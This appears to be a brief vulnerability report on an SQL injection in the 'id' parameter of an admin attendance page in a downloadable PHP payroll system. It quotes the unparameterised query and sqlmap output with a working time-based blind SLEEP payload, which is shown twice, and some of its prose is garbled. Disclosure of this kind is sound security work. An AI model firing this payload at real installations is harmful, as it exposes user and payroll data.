SQL injection vulnerability exists in id parameter of /admin/attendance_row.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
4    if(isset($_POST['id'])){
5        $id = $_POST['id'];
6        $sql = "SELECT *, attendance.id as attid FROM attendance LEFT JOIN employees ON
         employees.id=attendance.employee_id WHERE attendance.id = '$id'";
7        $query = $conn->query($sql);
```

```
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 201 HTTP(s) requests:
---
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 8326 FROM (SELECT(SLEEP(5)))xvLG) AND 'cRLd'='cRLd
---
```

“

Parameter: id (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0' AND (SELECT 8326 FROM (SELECT(SLEEP(5)))xvLG) AND 'cRLd'='cRLd

---

“

Source Download：

https://www.campcodes.com/projects/php/online-payroll-system-in-php/